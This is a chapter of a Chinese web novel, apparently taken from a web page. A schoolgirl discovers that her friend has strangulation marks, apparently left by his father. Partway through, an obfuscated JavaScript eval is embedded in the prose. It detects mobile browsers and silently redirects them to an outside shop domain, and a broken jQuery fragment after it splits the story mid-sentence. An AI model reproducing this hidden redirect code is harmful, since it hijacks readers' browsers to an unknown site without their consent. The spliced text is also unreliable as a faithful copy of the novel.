开春之后的第一场雨仍然泛着冰透的凉意，俞醒隔着略带锈迹的防盗窗，听雨点冲洗铁锈的声音。
小区中间那棵大树的枝头朝着乌云点二十几下头的时间，大致就是一分钟。俞醒数了很久，像是在和自己做一场博弈。
她觉得时间差不多了，立刻从书桌上滑下来，捧着闹钟仔仔细细地看，终于确定这就是她想要的时间。等见到他的时候，俞醒一定会告诉他，自己刚刚通过数大树的摇晃次数，猜出来现在是几点。
她抓起方格伞，噼里啪啦的春雨落在头顶，毫无规律的敲门声从掌下传来。
但是没人回她。
大概是他还没睡醒吧，毕竟雨天很让人困倦的。于是俞醒绕到窗口，踮着脚往里看，像打电话那样“喂喂喂”了好几声，可沉默仿佛在说“对不起您拨打的电话暂时无人接听”。
俞醒轴劲上来了，就坐在门口的台阶上，想着今天就算是自己如同电视剧女主一样在大雨中昏倒，她也一定要等到对方出来。
可惜一场春雨无法让年轻火气旺的小屁孩俞醒昏倒，凭借着轴劲也没办法让别人家的门自己打开。
后来是俞照倩把俞醒拎走了。
没如约见到好朋友的俞醒有点生气，幸好，第二天上学前，她见到了对方。
他似乎更羸弱了，脸上有新添的伤痕。或许昨天他在自己疗伤，又或许他不好意思见到俞醒。
但什么原因都无所谓了，伤痕刺痛俞醒的双眼，自那以后，俞醒就再也不敢因为对方的失约就生气了。
事实证明她的“不敢”十分正确，因为对方还是会偶尔失约，且每次失约都伴随着伤痕。
俞醒心疼又苦恼，潜意识甚至将这二者联系在了一起，此后多年，她遭遇的每一场失约，都会让她警铃大作。
——就像现在这样。
俞醒握着伞，最后试探性地敲了敲迟觉家的门，除了沉默再也没有回答了。
昨晚下了场雨，今天没像天气预报说的那样是个多云的日子，反正俞醒上学的时候天上还飘着雨点。
她打着伞低着头往前走，在学校旁的红绿灯路口，隔着近一分钟的红灯，她看到了迟觉。
路边的树被风吹得直点头，俞醒下意识去数。二十多下，是她小时候数出来的一分钟。
他穿着最普通的校服，黑色的高领毛衣衬得他非常忧郁。在寻常的统一着装中展示出一点不普通，以此维护他校园男神的身份，正是他的风格。
迟觉就像是在等她一样。可俞醒并没有给出失而复得的激动，反而是像平时那样，假装不在乎不经意地走过去。斑马线逐渐被甩到身后，俞醒抬头看向迟觉。
“你昨天干什么去了，晚上也没回家。”
迟觉太不对劲了。他整个人看起来有些躁郁，与俞醒对视时还有几分茫然，但很快就变成俞醒熟悉的戏谑：“怎么了，小少先队员，来当红领巾监督员查出勤率的？”
俞醒没理会他的挑事，还要继续问，却被迟觉的动作打断。
他自顾自收了伞，钻到俞醒的伞下，迫于他的身高，俞醒不得不抬手将伞举高。
迟觉显然没想让她打伞，主动从俞醒的手中接过，微凉的指尖触碰到她温热的手，让他不由自主地笑了一下。
于是俞醒的注意力就这样被吸引走了：“笑什么，我看起来很好笑吗？”
迟觉摇摇头：“没有，就是感受到少先队员的热情了。”
俞醒差点把脏话都写在脸上了，欲言又止止又欲言，张了张嘴，居然说不出一句反驳的话来，只能捏紧了拳头说：“起驾。”
湿润的空气带着泥土的腥味，上学路上的人声鸣笛接连不断。俞醒走着走着突然想起：“你吃早饭了吗？”
“没有。你吃了吗？”
“我也没有。那我们去买早饭吧。”
在即将要靠近学校大门的时候，两个人又转道去了对面的早餐店。
俞醒有点恍如隔世了，自从迟觉住到她隔壁，她就很久没来光顾这家每早必吃的早餐店了。要么是顺手把老妈做的早饭顺手带一份给迟觉，要么就是两个人一起在楼下的早餐店里买完边走边吃。
俞醒还没说话，迟觉就先开口了：“又是这家。你今天吃完之后，不会又要在小巷子里见义勇为吧？”
俞醒：“……你真弱智。”
稀松平常毫无营养的对话，构成了他们两个人之间大部分的对话内容。明明和平时一样，可俞醒就是觉得奇怪，就好像迟觉昨天没有被他家人叫走，也没有一直不回消息和夜不归宿一样。
俞醒仍旧贯彻“把早餐带进校园挑衅主任”的原则，拉开书包，把热热的包子揣进去，整个过程，目光始终没离开过迟觉。
迟觉一副不理解但尊重的样子：“你受什么刺激了吗，同学？”
“没有。”虽然是一句近似找打的话，但俞醒还是善良地回答了他，没让迟觉的话落到地上。
奇怪，太奇怪了，像男鬼一样出现在雾蒙蒙的早上，而且看起来完全没有要解释昨天请假回家的事，就像是没经历过昨天那样。
俞醒纠结半天：“你不想和我说说你昨天去干什么了吗？”
迟觉含着笑意，像是故意逗她：“不想。”
“那就不对了。”俞醒说，“你ｏｏｃ了。你其实是假扮成迟觉的吧？那你对他的人物特性把握得不太好，他有误会都是当场解释清楚的。”
迟觉无奈地低笑：“你一个晚上没见到我，把脑子想坏了？”
俞醒见循序渐进行不通，只能开门见山：“昨天谁来了，你爸，还是你妈？”
迟觉顿了顿：“我爸。你也知道这学期要开家长会吧，我实在受不了考那么好但位置上没人欣赏我的成绩单了。跟他联系了一下，但没联系好，回去吵了一架。”
俞醒自认为和迟觉没认识多久，甚至他的理由都完美无缺，没道理觉得不对劲。
但她就是察觉到有鬼了。
这种感觉就像是上学期的运动会，秋天落在窗户外面，迟觉和她面对面展示了一场什么叫做酣畅淋漓的蒙太奇谎言。
“你……”俞醒没能说出任何反驳的话来，只好点点头妥协，“那好吧。”
她边走边把书包拉链拉上，随口说：“你把伞拿一下。”
门口的两把伞被迟觉弯腰捡起，俞醒趁着他弯腰，扯住了他毛衣的领口，然后迅速下拉。
遮不住的掐痕在白皙的脖颈上格外明显。
俞醒的脑子瞬间宕机，令她慌张的熟悉感扑面而来。
俞醒：“……”
迟觉：“……”
迟觉一时间都没能直起腰，原地怔了很久很久，久到俞醒已经松手了，他还滑稽地维持着弯腰拿伞的动作。
俞醒再也笑不出来了，她凭借着本能反应问道：“谁干的？”
她一副要去找人干架的表情，倒让迟觉放松不少。
他慢慢起身，若无其事地撑起伞，递给俞醒：“给你。校门口有主任，一会儿再逮着我们两个说保持距离怎么办。”
俞醒没接：“你昨天回去就是为了打架？”
迟觉和她对视了一会儿，妥协道：“这倒不是，只是没协商好，语气冲了点，打起来也是人之常情啊。”
俞醒和刚刚的迟觉一样，也沉默了好久好久：“……报警吧？”
“我应该也不是那种会把警察叔叔忘在脑后的笨蛋吧？”迟觉轻笑一下，“没关系，我们两个是互殴。而且我成年了。”
俞醒都怕面前这个弱鸡在互殴的时候被对方打死：“……”
她深吸一口气：“那你刚刚又是在骗我，对吧。”
“对。你要发脾气吗？”
“我发你个头。”俞醒拉着他往外走，“去医院吧，万一你俩互殴的时候把你脑子打坏怎么办。”
迟觉反手拉住她：“别这么大反应，真的没事。数学课一天不听以后可就跟不上了，三思啊。”
“我不信，我偏不听。”
“偏听则暗，偏不听则不会。而且，是我要听。”迟觉微微一笑，顺手把俞醒从反方向拉回来，“其实你仔细想想，学校应该比医院安全吧，万一他一直跟着我，等我到没人的地方再痛殴我一顿怎么办？”
俞醒：“……”
她有点被说服了，毕竟医务室也不是白吃饭的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634642|204063||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
可她被完全说服，却全在迟觉那副“去医院我就死给你看”的淡淡态度。
俞醒自知在早餐店门口这样对视很奇怪，她纠结半天，犹豫着从迟觉手中接过伞，点点头。
第一节课下课，医务室也开了门，俞醒再次带着迟觉过来。
校医对这位长相惊人的男同学印象很深：“二进宫了啊，这回怎么了？脚崴了，还是又上树被抓了？”
俞醒听着这话，脑子像被惊雷劈过。
上学期运动会的时候，校医看到他身上的旧疤痕还问了一嘴，那时迟觉怎么说的？
先是假模假样地说这是被家人打的获取了一番同情，然后又突然改口，说那其实是不听话导致的意外伤口。
原来他真的早就说过真话了。
迟觉在对上俞醒视线的那一瞬间就知道她在想什么，不紧不慢地先俞醒一步开口：“斗殴去了，输了，伤在这里，老师你看。但是您得替我保密，我是卢主任心尖上的人，要是因为打架回家反省，他会哭晕过去的。”
校医早领会过他的不着调，但此时还是稍微被震撼了一下。
他看了眼迟觉脖颈的掐痕，警觉地意识到这并非斗殴：“同学，你有困难就和老师说说，当然，遇到这种事还是报警最好。”
迟觉露出一个无奈的笑容，以“全身检查不好意思让女同学留下来看”的理由将俞醒请离，又在接下来的检查中编造了一个逻辑缜密且无辜可怜的理由，旨在突出自己的无辜，强调了这完全是场小打小闹的意外。
校医听了之后久久不能语。
检查室的门被打开，迟觉若无其事地走出来，校医在他身后，面露难色：“确实只有脖子上的伤，如果不放心，还是去医院看看。”
“同学，你如果还是这个表情，我该考虑考虑要不要对主任说一说不正当的男女同学关系的问题了。”
俞醒：“……”
从医务室走回教学楼的路上，又是沉默万分。
这么多年勤勤恳恳辛辛苦苦抓校园绿化的好处，在春天尤为明显，俞醒之前总觉得，再忧郁的人来到一中，都得乐呵呵地像白雪公主一样在花团锦簇中和小动物跳舞唱歌。
但现在落到她眼睛里，只有一片彩色的，乱七八糟令人烦躁不堪的马赛克。
有关于失约的烦闷、牵扯出来的伤痕，隔了那么多年，终于又敲击在俞醒最在意的某根弦上。
怎么会这样，怎么身边每一个过分在乎的人都会出现这样的事情。
“迟觉。”俞醒突然叫他的名字。
迟觉微微侧头，目光专注。
“你还记得，我是要罩着你的吧。”
“当然。”迟觉笑了出来，“你说这话的时候大概同情居多吧，现在呢？”
俞醒起了一身冷汗，甚至连心跳都被吓得漏了一拍。
面前这个人从刚开始到现在……不对，是从开始到不久之前，挂在嘴边的从来都是“你心疼我了吗”，而不是“同情”。
俞醒呼吸放缓了，她被迟觉巨大的割裂感割出的东非大裂谷狠狠隔出三界之外，一时都无法和迟觉交流。
欲言又止，那句单薄的“我没有”最终被咽回去。
事到如今开口解释那不是同情而是心疼，似乎也没有多大意义。真说出口了，恐怕反而会让迟觉以为自己是在同情，于是随口哄他。
所以她换了一种说法：“晚上跟我一起走吗？我真的很厉害。如果打不过，我就拉着你跑。”
迟觉的笑容有片刻的僵硬，大概是想起了很久之前的事情：“要是跑不过怎么办？”
即便场合再不合适，俞醒还是忍不住地得意起来：“拜托，你都长这么大了，你爸肯定得四十多以上了吧？一个中年人是跑不过我们这种青壮年的，你能理解吗？”
迟觉：“……”
“跑不过我就骑共享电瓶车带你嘛，耗也耗死他。怎么样？”
迟觉：“……”
迟觉浑身的僵硬和不适被俞醒冲散了些许，他不知道想起了什么，垂下眼睛，神色放松，像是如释重负。
“是啊，”他说，“我已经长这么大了。”